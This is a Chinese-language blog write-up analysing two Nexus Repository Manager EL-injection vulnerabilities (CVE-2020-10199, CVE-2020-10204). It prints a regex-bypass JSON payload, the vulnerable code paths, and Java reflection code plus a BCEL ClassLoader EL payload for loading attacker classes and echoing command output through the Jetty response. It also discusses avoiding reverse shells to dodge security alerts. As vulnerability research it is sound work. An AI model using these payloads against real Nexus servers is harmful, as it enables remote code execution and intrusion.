0x00 前言
3月31日的時候Nexus Repository Manager官方發布了CVE-2020-10199,CVE-2020-10204的漏洞公告,兩個漏洞均是由Github Secutiry Lab的@pwntester發現的。本着學習的態度,跟進學習了一下,於是有了此文。從漏洞的描述來看,10199的漏洞需要普通用戶權限即可觸發,而10204則需要管理員權限。兩個漏洞的觸發原因均是不安全的執行EL表達式導致的。本文將簡單分析漏洞的利用方法,重點來講述一下漏洞利用過程中的回顯獲取的問題。
0x01 漏洞分析
在Github Security Lab的主頁上列出了@pwntester利用codeql來挖掘CVE-2020-10199的過程,作者提及在構建污點分析的模型時候參考了CVE-2018-16621。看一下該漏洞就不難發現,其實這里的CVE-2020-10204就是前者的繞過。因為官方在修復該漏洞的時候采用的方法是將"${"替換為"{", 代碼片段如下:
/** * Strip java el start token from a string * @since 3.14 */ public String stripJavaEl(final String value) { if (value != null) { return value.replaceAll("\\$+\\{", "{"); } return null; } }
因此參考之前請求的路由,利用如下:
漏洞分析的流程可以參考之前CVE-2018-16621的分析,這里值得一提的是繞過的方法,因為過濾的正則不嚴謹,沒有考慮到"$"和"{"之間的字符,而EL表達式執行的松散性,剛好可以用來繞過該正則。例如這樣的payload也是可以執行的:
{"action":"coreui_User","method":"update","data":[{"userId":"test","version":"1.0","firstName":"xxx","lastName":"xxx","email":"test@qq.com","status":"active","roles":["$+{'this is vulnerability'.toUpperCase()}"]}],"type":"rpc","tid":7}
接着再來簡單看一下CVE-2020-10199漏洞,作者發現如果可控的數據進入到createViolation函數將會調用buildConstraintViolationWithTemplate執行EL表達式,而在org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource類中則存在如下的函數調用:
private void validateGroupMembers(T request) { String groupFormat = request.getFormat(); Set<ConstraintViolation<?>> violations = Sets.newHashSet(); Collection<String> memberNames = request.getGroup().getMemberNames(); for (String repositoryName : memberNames) { Repository repository = repositoryManager.get(repositoryName); if (nonNull(repository)) { String memberFormat = repository.getFormat().getValue(); if (!memberFormat.equals(groupFormat)) { violations.add(constraintViolationFactory.createViolation("memberNames", "Member repository format does not match group repository format: " + repositoryName)); } } else { violations.add(constraintViolationFactory.createViolation("memberNames", "Member repository does not exist: " + repositoryName)); } } maybePropagate(violations, log); }
但是該類是一個抽象類,因此實現該類的子類如果調用validateGroupMembers方法將有機會執行EL表達式,搜索可以發現該類的實現只有org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource這么一個類,在該類執行創建倉庫/更新倉庫的操作中都將利用到該方法:
@POST @RequiresAuthentication @Validate public Response createRepository(final T request) { validateGroupMembers(request); return super.createRepository(request); } @PUT @Path("/{repositoryName}") @RequiresAuthentication @Validate public Response updateRepository( final T request, @PathParam("repositoryName") final String repositoryName) { validateGroupMembers(request); return super.updateRepository(request, repositoryName); }
接下來就是尋找路由觸發漏洞,借助於idea可以看到路由的訪問:
剛開始請求,無論如何都不對,后來在http://127.0.0.1:8081/#admin/system/api發現了如下的接口文檔:
但是這里有一個坑,就是用來觸發漏洞的memberNames的值為一個ArrayList,因此文檔有錯誤:
修改以后重新發包,漏洞觸發成功:
0x02 獲取回顯
在實際的滲透測試環境下,如果目標主機不出網,將無法反彈shell進行利用,而且反彈shell這種敏感操作也容易觸發安全警報。而由於目標環境的原因,web shell不一定都可以執行,實現命令執行的回顯利用就顯得比較重要了。目前來說,通用的回顯思路不外乎以下的幾種:
1. 利用報錯。實現的方法是在代碼執行的時候將所執行命令的結果直接使用異常進行拋出,因為異常沒有被捕獲處理的原因將會拋出在頁面上。
2. 寫入到文件。這個方式不難理解了,將命令執行的回顯輸出到文件,然后進行訪問。
3. 獲取當前線程中綁定的輸出流對象,調用輸出的方法進行輸出。
4. rmi之類的通過實現服務端,重新注冊之后,正常去調用即可。
這里因為報錯的時候會被上層進行捕獲,我暫時沒找到利用的方法。因此這里采用獲取輸出流的方式,具體的方法就是在表達式執行(org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver)的時候打斷點,然后在調試器中看當前上下文中ThreadLocal綁定的對象:
然后在調試器中可以找到request對象:
這里綁定的對象很多,可以拿到request對象的地方也挺多的。本地測試的時候選擇的是org.eclipse.jetty.server.HttpConnection的實例對象。從圖中可以看出該對象的成員屬性_channel中包含了request對象。通過查看該對象的實例方法發現通過getHttpChannel方法來獲得HttpChannel對象,然后再通過所得對象的getRequest方法即可獲取Request對象。Request對象是org.eclipse.jetty.server.Request的實例,該類繼承自HttpServletRequest。畫一個關系圖就是下邊這樣的:
org.eclipse.jetty.server.HttpConnection.getHttpChannel() ==> org.eclipse.jetty.server.HttpChannel.getResponse() ==> write()
首先需要來獲取java.lang.ThreadLocal$ThreadLocalMap$Entry中的對象,利用的代碼如下:
public static void getObjectFromThread() { try { //獲取當前線程對象 Thread thread = Thread.currentThread(); //獲取Thread中的threadLocals對象 Field threadLocals = Thread.class.getDeclaredField("threadLocals"); threadLocals.setAccessible(true); //ThreadLocalMap是ThreadLocal中的一個內部類,並且訪問權限是default // 這里獲取的是ThreadLocal.ThreadLocalMap Object threadLocalMap = threadLocals.get(thread); //這里要這樣獲取ThreadLocal.ThreadLocalMap Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); //獲取ThreadLocalMap中的Entry對象 Field tableField = threadLocalMapClazz.getDeclaredField("table"); tableField.setAccessible(true); //獲取ThreadLocalMap中的Entry Object[] Entries = (Object[]) tableField.get(threadLocalMap); //獲取ThreadLocalMap中的Entry Class Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); //獲取ThreadLocalMap中的Entry中的value字段, 該字段類型為HashMap類型 Field entryValueField = entryClass.getDeclaredField("value"); entryValueField.setAccessible(true); String results = ""; for (Object entry : Entries) { if (entry != null) { try { Object val = entryValueField.get(entry); if (val != null) { results += val.getClass().getName() + "\n"; } } catch (IllegalAccessException e) { } } } System.out.println(results); } catch (Exception e) { } }
然后從獲取到的Entry對象中找到HttpConnection對象即可。完整的利用代碼如下:
public static void getResponseFromThread() { try { //獲取當前線程對象 Thread thread = Thread.currentThread(); //獲取Thread中的threadLocals對象 Field threadLocals = Thread.class.getDeclaredField("threadLocals"); threadLocals.setAccessible(true); //ThreadLocalMap是ThreadLocal中的一個內部類,並且訪問權限是default // 這里獲取的是ThreadLocal.ThreadLocalMap Object threadLocalMap = threadLocals.get(thread); //這里要這樣獲取ThreadLocal.ThreadLocalMap Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); //獲取ThreadLocalMap中的Entry對象 Field tableField = threadLocalMapClazz.getDeclaredField("table"); tableField.setAccessible(true); //獲取ThreadLocalMap中的Entry Object[] objects = (Object[]) tableField.get(threadLocalMap); //獲取ThreadLocalMap中的Entry Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); //獲取ThreadLocalMap中的Entry中的value字段 Field entryValueField = entryClass.getDeclaredField("value"); entryValueField.setAccessible(true); for (Object object : objects) { if (object != null) { try { Object httpConnection = entryValueField.get(object); if (httpConnection != null) { if (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) { Class<?> HttpConnection = httpConnection.getClass();
// 獲取HttpChannel 對象 Object httpChannel = HttpConnection.getMethod("getHttpChannel").invoke(httpConnection); Class<?> HttpChannel = httpChannel.getClass();
// 獲取request對象 Object request = HttpChannel.getMethod("getRequest").invoke(httpChannel);
// 獲取自定義頭部 String header = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{"MagicZero"});
// 獲取response對象 Object response = HttpChannel.getMethod("getResponse").invoke(httpChannel); PrintWriter writer = (PrintWriter)response.getClass().getMethod("getWriter").invoke(response); writer.write(header); writer.close(); } } } catch (IllegalAccessException e) { } } } } catch (Exception e) { } }
以上的代碼已經能夠獲取到request和response對象,接着我們來解決如何使用EL表達式將該類動態加載出來。這里選擇JDK內置的com.sun.org.apache.bcel.internal.util.ClassLoader來動態加載我們的類:
${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('bcel class byte').newInstance()
BCEL字節碼生成的方法:
// 該參數接收的是一個Class文件
public static String class2BCEL(String classFile) throws Exception{ Path path = Paths.get(classFile); byte[] bytes = Files.readAllBytes(path); String result = Utility.encode(bytes,true); return result; }
最終的利用效果: